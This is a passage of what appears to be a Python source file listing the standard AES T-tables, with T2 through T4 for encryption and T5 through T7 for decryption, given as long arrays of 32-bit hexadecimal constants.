T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
|
||||
T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
|
||||
T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
|
||||
|
||||
# Transformations for decryption
|
||||
T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
|
||||
T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
|
||||
T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
|
||||
